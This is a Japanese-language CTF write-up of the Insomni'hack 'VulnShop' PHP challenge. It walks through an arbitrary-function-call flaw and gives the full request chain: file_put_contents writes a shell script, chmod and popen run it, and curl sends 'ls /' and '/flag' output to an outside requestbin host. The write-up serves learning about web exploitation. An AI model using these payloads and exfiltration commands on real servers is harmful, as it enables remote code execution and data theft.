Tags: popen web php shell 

Rating: 5.0

# ▼▼▼VulnShop(Web:84solve/433team=19.3%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
VulnShop by Blaklis
We're preparing a website for selling some important vulnerabilities in the future. You can browse some static pages on it, waiting for the official release.
http://vulnshop.teaser.insomnihack.ch
Important : you don't need to use automated scanners or bruteforce for this challenge, and using some will result for your ip to be banned. Go on IRC to ask for being unbanned.
```

-----
## 【information gathering】

ソースコードが公開されている

`http://vulnshop.teaser.insomnihack.ch/?hl`

```


<html>
<head>
<title>Work in progress...</title>
<meta charset="utf-8" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<style>
body {
background-color: #aaa;
color:#fff;
}

.page {
width: 50%;
margin: 0 auto;
margin-top: 75px;
}

.menu ul li {
display:inline-block;
vertical-align:top;
margin-right: 30px;

}
</style>
</head>
<body>
<div class="page">
<div class="menu">


</div>

<div class="content">
Welcome to our website about infosec. It's still under construction, but you can begin to browse some pages!

";
break;
case 'introduction':
echo "

Our website will introduce some new vulnerabilities. Let's check it out later!

";
break;
case 'privacy':
echo "

This website is unbreakable, so don't worry when contacting us about some new vulnerabilities!

";
break;
case 'contactus':
echo "

You can't contact us for the moment, but it will be available later.

";
$_SESSION['challenge'] = rand(100000,999999);
break;
case 'captcha':
if(isset($_SESSION['challenge'])) echo $_SESSION['challenge'];
// Will make an image later
touch($_SESSION['challenge']);
break;
case 'captcha-verify':
// verification functions take a file for later, when we'll provide more way of verification
function verifyFromString($file, $response) {
if($_SESSION['challenge'] === $response) return true;
else return false;
}

// Captcha from math op
function verifyFromMath($file, $response) {
if(eval("return ".$_SESSION['challenge']." ;") === $response) return true;
else return false;
}
if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){
$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
}
break;

}
?>
</div>
</div>

View code source of the file, to be sure we're secure!


Show our configurations


</body>
</html>
```

ソースコードを読んでいく

**1.入力値がフィルターされている**

```
// Anti XSS filter
$_REQUEST = array_map("strip_tags", $_REQUEST);
```

`<`が削除されたりする。

-----

**2.`$_REQUEST`の取得先を確認する**

`

Show our configurations

`で、phpinfo()が確認できるようになっている。

phpinfo()の内容を確認すると、`variables_order`で`GPCS`と設定されている。

※(参考)EGPCS (Environment, Get, Post, Cookie, Server)

-----

**3.`$_GET['page']`で処理がわかれるので確認する**

```
case 'contactus':
echo "

You can't contact us for the moment, but it will be available later.

";
$_SESSION['challenge'] = rand(100000,999999);
break;
```

`page=contactus`で、セッションに紐づく`$_SESSION['challenge']` に乱数が設定される。

-----

```
case 'captcha':
if(isset($_SESSION['challenge'])) echo $_SESSION['challenge'];
// Will make an image later
touch($_SESSION['challenge']);
break;
```

`page=captcha`で、セッションに紐づく`$_SESSION['challenge']`の名前で`touch($_SESSION['challenge'])`とファイルが作成される。

-----

```
case 'captcha-verify':
// verification functions take a file for later, when we'll provide more way of verification
function verifyFromString($file, $response) {
if($_SESSION['challenge'] === $response) return true;
else return false;
}

// Captcha from math op
function verifyFromMath($file, $response) {
if(eval("return ".$_SESSION['challenge']." ;") === $response) return true;
else return false;
}

if(isset($_REQUEST['answer']) && isset($_REQUEST['method']) && function_exists($_REQUEST['method'])){
$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);
}
break;
```

`page=captcha-verify`で、`$_REQUEST['method']("./".$_SESSION['challenge'], $_REQUEST['answer']);`

任意のPHP関数を作成して、『上記で作成したファイルを対象』に処理実行ができる★

ユーザ入力箇所は、`$_REQUEST['method']`と`$_REQUEST['answer']`のみ。

-----

**4.次に、phpinfo()の`disable_functions`で禁止されている関数を確認する**

```
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,proc_open,system,shell_exec,exec,passthru,mail
```

OSコマンドを実行できる関数として`popen()`が使えることがわかった。

-----

## 【Try】

### Try1:XSS filter bypass⇒PHPコードアップロード⇒OSコマンド実行

`array_map()`は、パラメータの値は処理するがパラメータ名を処理しない

しかし、 フィルター処理時は`$_REQUEST`だが、使用時は`$_REQUEST['answer']`とパラメータ名が指定されているのでXSS filter bypassは不可。

-----

### Try2:実行ファイルアップロード⇒ファイル実行

シェルプログラムか、コンパイルされたファイルを送信して実行すればよい。

**1.まず、`$_SESSION['challenge']`に乱数を設定する。**

`GET /?page=contactus`

-----

**2.次に、`$_SESSION['challenge']`がちゃんと設定されてることを確認しファイル作成する。**

`GET /?page=captcha`

`<div class="content">585298</div>`

585298という空のファイルが作成された。

-----

**3.ファイルにシェルプログラミングを書き込む**

popen()の結果は表示されないので、シェルコードで実行結果を待ち受けサーバに送信するように書く

```
#!/bin/sh
ls / | base64 | curl https://requestb.in/1cakar11 -G -d @-
```

urlエンコードして`file_put_contents()`でファイル書き込みする

※この時、`Server: Apache/2.4.18 (Ubuntu)`と、Linuxなので改行コードは`%0d%0a`ではなく、`%0a`である必要があることに注意しながらurlエンコードする

`GET /?page=captcha-verify&method=file_put_contents&answer=%23%21%2fbin%2fsh%0als%20%2f%20%7c%20base64%20%7c%20curl%20https%3a%2f%2frequestb%2ein%2f1cakar11%20%2dG%20%2dd%20%40%2d%0a`

-----

**4.書きこまれていることをhighlight_file()で確認する**

`GET /?page=captcha-verify&method=highlight_file&answer=`

```
#!/bin/sh
ls / | base64 | curl https://requestb.in/1cakar11 -G -d @-
```

上記のように表示され書き込まれていることが確認できた。

-----

**5.chmod()でファイルに実行権限を付与する**

`chmod`で8進数の'0777'を付与するには、2進数で111111111なので、10進数で2^9-1=511を送信すればよい。

`GET /?page=captcha-verify&method=chmod&answer=511`

-----

**6.popen()で./585298ファイルを実行する**

`GET /?page=captcha-verify&method=popen&answer=r`

-----

**7.待ち受けサーバを確認すると下記リクエストが受け取れる**

`https://requestb.in/1cakar11?YmluCmJvb3QKZGV2CmV0YwpmbGFnCmhvbWUKaW5pdHJkLmltZwppbml0cmQuaW1nLm9sZApsaWIKbGliNjQKbG9zdCtmb3VuZAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzbmFwCnNydgpzeXMKdG1wCnVzcgp2YXIKdm1saW51egp2bWxpbnV6Lm9sZAo=`

`YmluCmJvb3QKZGV2CmV0YwpmbGFnCmhvbWUKaW5pdHJkLmltZwppbml0cmQuaW1nLm9sZApsaWIKbGliNjQKbG9zdCtmb3VuZAptZWRpYQptbnQKb3B0CnByb2MKcm9vdApydW4Kc2JpbgpzbmFwCnNydgpzeXMKdG1wCnVzcgp2YXIKdm1saW51egp2bWxpbnV6Lm9sZAo=`

↓base64でデコード

```
bin
boot
dev
etc
flag
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
```

flagというファイルがあるので内容を確認してみる。

```
#!/bin/sh
cat /flag | base64 | curl https://requestb.in/1cakar11 -G -d @-
```

以下同様に、下記でファイルに書き込みする

`GET /?page=captcha-verify&method=file_put_contents&answer=%23%21%2fbin%2fsh%0acat%20%2fflag%20%7c%20base64%20%7c%20curl%20https%3a%2f%2frequestb%2ein%2f1cakar11%20%2dG%20%2dd%20%40%2d`

待ち受けサーバで下記を受け取れる

`https://requestb.in/1cakar11?SU5TezRyYjF0cjRyeV9mdW5jX2M0bGxfaXNfbjB0X3MwX2Z1bn0K`

↓ base64でデコードする

`INS{4rb1tr4ry_func_c4ll_is_n0t_s0_fun}`